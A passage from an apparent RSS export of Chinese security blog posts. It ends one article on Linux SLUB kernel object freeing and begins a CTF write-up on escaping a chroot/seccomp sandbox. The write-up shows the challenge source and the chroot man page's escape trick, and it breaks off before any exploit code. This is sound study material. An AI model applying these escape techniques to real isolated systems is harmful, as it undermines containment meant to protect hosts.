SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  通过对内核对象分配的了解可以知道，要释放的内核对象的主要来源为：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• per-cpu active slab</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• per-cpu partial slab list</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• per-node partial slab list</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• Full slab</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在释放内核对象的过程中，内核触发的操作也和内核的配置紧密相关，假如内核开启了GENERIC KASAN，那么被释放的内核对象并不会转变为可用的状态而是放在了一个隔离列表里面，这样的话，其实slab的状态并没有因为释放内核对象而发生明显的改变，比如，一个full slab在释放一个内核对象之后并不会转变成一个partial slab，同时假如只存在一个内核对象的partial slab在释放的时候该slab也不会转变为empty slab，需要做的只是更新内核对象对应的shadow bytes，并将其放入隔离列表里面，只有当隔离列表里面的内核对象被处理的时候才会考虑slab状态改变的影响。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  那么假如不开启GENERIC KASAN内核配置的话，一个内核对象被释放的时候会被插入到freelist的头部，对于per-cpu active slab而言存在两个freelist，一个是kmem_cache_cpu-&gt;freelist无锁freelist，一个是slab结构体中的常规freelist，因此假如被释放的内核对象是属于active slab，并且释放该内核对象的CPU也属于该active slab，那么该内核对象就会被放入无锁freelist，那么假如被释放的内核对象属于active slab，但是释放该内核对象的CPU不属于该active slab，那么该内核对象就会被放入slab对应的常规freelist，这些操作在CPU支持cmpxchng指令并且没有开启slab debug的时候都可以无锁进行。假如被释放的内核对象属于full slab，那么释放内核对象之后该full slab也会转变为partial slab，该slab也会被放入到per-cpu partial slab list或者per-node partial slab list，这个新的partial slab被放入per-cpu partial slab list，而且不需要进行其它操作，那么整个操作只需要触发kmem_cache_cpu.lock，但是如果这个新的partial slab在放入per-cpu partial slab list的过程中发现per-cpu partial slab list已经满了，并且这些slab都没有被锁定等操作，那么这些slab会被移动到per-node partial slab list，因为移动到per-node partial slab list的过程中需要请求kmem_cache_node.list_lock锁，这会增加性能开销。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  假如被释放的内核对象不属于active slab而是partial slab，那么假如该slab在释放内核对象之后仍然属于partial slab，那么不会出现额外操作，slab依然保存在partial slab list上，这种情况在per-cpu partial slab list和per-node partial slab list中都适用，但是如果在释放内核对象之后该slab转变为empty slab，那么接下来的操作就取决于slab cache’s min_partial，假如partial slab list中的slab数量在这个限制之内，那么该empty slab依然会存在于这个链表上，但是如果超出该限制，那么该empty slab会被释放并从partial slab list中释放，这个处理方式同时适用于per-cpu partial slab list和per-node partial slab list。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002391" data-ratio="0.45092592592592595" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=88a7a300&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkYqLlFTcD9pcrpiazeUJVr58tOdMZ7f0WU6CV5k1QhWcClbHLXBgt2Sn1Bfg6VXJa4UMNp8ia55Cfpg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  上图对应了内核对象释放过程中的几个过程，其中红色代表对于per-node partial slab list的操作，相关操作需要请求kmem_cache_node.list_lock，橙色代表对于per-cpu partial slab list的操作，相关操作需要请求kmem_cache_cpu.lock，红色和橙色都代表的速度较慢，性能消耗较大的内核对象释放方式，其中kmem_cache_node.list_lock的性能损耗要高于kmem_cache_cpu.lock。同时，释放一个内核对象和释放多个内核对象在插入freelist上存在区别，假如释放一个内核对象，那么只需要将该内核对象放到对应的freelist的头部，如果是释放多个内核对象，一个detached freelist会被创建并将其组合到对应freelist的头部。<span style="text-align: center;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">     本文简单介绍了内核对象的申请和释放原理，后续文章将结合实际代码进行调试分析。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(250, 81, 81);color: rgb(255, 255, 255);">参考链接</h2><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://blogs.oracle.com/linux/post/linux-slub-allocator-internals-and-debugging-1" target="_blank">https://blogs.oracle.com/linux/post/linux-slub-allocator-internals-and-debugging-1</a></p><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://docs.kernel.org/locking/spinlocks.html" target="_blank">https://docs.kernel.org/locking/spinlocks.html</a></p></blockquote><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486043">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8082bc0f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247486043%26idx%3D1%26sn%3Dd57dca2e13c34d2b7c98e0d431602d35%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 19 Apr 2024 10:07:00 +0800</pubDate>
    </item>
    <item>
      <title>CTF之ContainerEscape</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247486028&amp;idx=1&amp;sn=5f30970a81e990fe5a71228cec1cd403</link>
      <description>从CTF题目中学习容器逃逸</description>
      <content:encoded><![CDATA[<p>
原创 <span>时钟</span> <span>2024-01-09 10:06</span> <span style="display: inline-block;">北京</span>
</p>

<p>从CTF题目中学习容器逃逸</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=34ed6322&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkbwBmibTpZKwBr8DLCsib5J6IDnXKLL5Z5YPTveRSGOAjzmuIKZoyib5EQkDo3jIUu1jsbRHG5Sqxh8g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Container Escape</h1><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002133" data-ratio="0.32" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=33786dee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkb1yDnVcgIlvd3KG3vX76egiaDfKT3XbKmjGJjIa3foicznOnreTcvrRwtccfNAZ4I8TuibyIuNnkiatQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">简介</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  Linux权限控制一直都是一个很有意思的话题，在2023AAACTF里面看到了容器逃逸的题目，当时思考了半天也没有很大成果，比赛后一直工作也没好好复现，越来越觉得如果不参与一些高质量比赛，一些pwn的灵感也在不断衰弱，因此遂激励自己跟着战队积极参加国际比赛。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">题目详情-babyescape</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  根据官方的介绍，该体面参考了SECCON CTF 2022 Finals的babyescapse，因此也学习了一下这个题目。先看SECCON CTF 2022 Finals的babyescapse，该题目给了一个qemu环境和目标sandbox的源代码，源代码如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;linux/seccomp.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;sys/prctl.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;unistd.h&gt;</span></span><br/><span style="color: rgb(209, 154, 102);">static</span> <span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">install_seccomp</span>() {<br/>  <span style="color: rgb(209, 154, 102);">static</span> <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">char</span> filter[] = {<br/>    <span style="color: rgb(209, 154, 102);">32</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">4</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">21</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">12</span>,<span style="color: rgb(209, 154, 102);">62</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">192</span>,<span style="color: rgb(209, 154, 102);">32</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">53</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">10</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<br/>    <span style="color: rgb(209, 154, 102);">64</span>,<span style="color: rgb(209, 154, 102);">21</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">9</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">161</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">21</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">8</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">165</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">21</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">7</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">16</span>,<span style="color: rgb(209, 154, 102);">1</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">21</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">6</span>,<span style="color: rgb(209, 154, 102);">0</span>,<br/>    <span style="color: rgb(209, 154, 102);">169</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">21</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">5</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">101</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">21</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">4</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">54</span>,<span style="color: rgb(209, 154, 102);">1</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">21</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">3</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">55</span>,<span style="color: rgb(209, 154, 102);">1</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">21</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">2</span>,<br/>    <span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">48</span>,<span style="color: rgb(209, 154, 102);">1</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">21</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">1</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">155</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">6</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">255</span>,<span style="color: rgb(209, 154, 102);">127</span>,<span style="color: rgb(209, 154, 102);">6</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span>,<span style="color: rgb(209, 154, 102);">0</span><br/>  };<br/>  <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">prog</span> {<br/>    <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">short</span> len;<br/>    <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">char</span> *filter;<br/>  } rule = {<br/>    .len = <span style="color: rgb(198, 120, 221);">sizeof</span>(filter) &gt;&gt; <span style="color: rgb(209, 154, 102);">3</span>,<br/>    .filter = filter<br/>  };<br/>  <span style="color: rgb(198, 120, 221);">if</span> (prctl(PR_SET_NO_NEW_PRIVS, <span style="color: rgb(209, 154, 102);">1</span>, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">0</span>) &lt; <span style="color: rgb(209, 154, 102);">0</span>) _exit(<span style="color: rgb(209, 154, 102);">1</span>);<br/>  <span style="color: rgb(198, 120, 221);">if</span> (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &amp;rule) &lt; <span style="color: rgb(209, 154, 102);">0</span>) _exit(<span style="color: rgb(209, 154, 102);">1</span>);<br/>}<br/><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">main</span>(<span style="color: rgb(209, 154, 102);">void</span>) {<br/>  <span style="color: rgb(209, 154, 102);">char</span> *args[] = {<span style="color: rgb(152, 195, 121);">&#34;/bin/sh&#34;</span>, <span style="color: rgb(86, 182, 194);">NULL</span>};<br/>  <span style="color: rgb(198, 120, 221);">if</span> (chroot(<span style="color: rgb(152, 195, 121);">&#34;sandbox&#34;</span>)) {<br/>    write(STDERR_FILENO, <span style="color: rgb(152, 195, 121);">&#34;chroot failed\n&#34;</span>, <span style="color: rgb(209, 154, 102);">14</span>);<br/>    _exit(<span style="color: rgb(209, 154, 102);">1</span>);<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">if</span> (chdir(<span style="color: rgb(152, 195, 121);">&#34;sandbox&#34;</span>)) {<br/>    write(STDERR_FILENO, <span style="color: rgb(152, 195, 121);">&#34;chdir failed\n&#34;</span>, <span style="color: rgb(209, 154, 102);">13</span>);<br/>    _exit(<span style="color: rgb(209, 154, 102);">1</span>);<br/>  }<br/>  install_seccomp();<br/>  <span style="color: rgb(198, 120, 221);">return</span> execve(args[<span style="color: rgb(209, 154, 102);">0</span>], args, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">简单看一下提供的qemu虚拟机，大概情况就是root用户 + 上面的sandbox，我这里选择直接用seccomp-tools来跑从题目的文件系统里面分离出来的sandbox二进制文件：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002376" data-ratio="0.4351851851851852" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=346d77a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbwBmibTpZKwBr8DLCsib5J6IFG43WWuWVJmfMdnicSmQgOQaATm8RTbBdLnVCL2UetTWGz1MOBk7u3g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">因此该题目的实际问题就是：如何越过chroot的文件系统隔离访问到主机上存在的flag文件。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">看下chroot func就可以知道，这本身就不是一个安全的隔离func：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">       chroot() changes the root directory of the calling process to<br/>       that specified in path.  This directory will be used for<br/>       pathnames beginning with /.  The root directory is inherited by<br/>       all children of the calling process.<br/>       Only a privileged process (Linux: one with the CAP_SYS_CHROOT<br/>       capability in its user namespace) may call chroot().<br/>       This call changes an ingredient in the pathname resolution<br/>       process and does nothing else.  In particular, it is not intended<br/>       to be used for any kind of security purpose, neither to fully<br/>       sandbox a process nor to restrict filesystem system calls.  In<br/>       the past, chroot() has been used by daemons to restrict<br/>       themselves prior to passing paths supplied by untrusted users to<br/>       system calls such as open(2).  However, if a folder is moved out<br/>       of the chroot directory, an attacker can exploit that to get out<br/>       of the chroot directory as well.  The easiest way to do that is<br/>       to chdir(2) to the to-be-moved directory, wait for it to be moved<br/>       out, then open a path like ../../../etc/passwd.<br/>       A slightly trickier variation also works under some circumstances<br/>       if chdir(2) is not permitted.  If a daemon allows a &#34;chroot<br/>       directory&#34; to be specified, that usually means that if you want<br/>       to prevent remote users from accessing files outside the chroot<br/>       directory, you must ensure that folders are never moved out of<br/>       it.<br/>       This call does not change the current working directory, so that<br/>       after the call &#39;.&#39; can be outside the tree rooted at &#39;/&#39;.  In<br/>       particular, the superuser can escape from a &#34;chroot jail&#34; by<br/>       doing:<br/>           mkdir foo; chroot foo; cd ..<br/>       This call does not close open file descriptors, and such file<br/>       descriptors may allow access to files outside the chroot tree.</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">看下sandbox环境：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002373" data-ratio="0.36363636363636365" data-s="300,640" style="" data-type="png" data-w="594" src="https://wechat2rss.xlab.app/img-proxy/?k=26c75cc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbwBmibTpZKwBr8DLCsib5J6IvRvKe68ibXMIe7jj6ykZE7qy3ky8nGNcAO1W0SQAxFcB23WjCNlpebA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">因此基本上也很难存在通过符号连接，或者匿名文件处理等方法来进行逃逸的可能，但是因为给的用户是root，所以基本上就是通过内核模块在底层进行对抗。查看了一下提供的qemu虚拟机，发现是linux 6.1.5，因此就拉取linux kernel源代码进行内核模块开发准备：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">make defconfig <br/>make modules_prepare</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">首先，Linux fileSystem是树状结构，因此chroot的作用类似把一个子节点转换成一个根节点，因此在内核里面可以通过操作task_struct里面的fs_struct来操作进程所属的fileSystem，不过操作过程不能违反沙箱规则。下面是fs_struct code:</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: 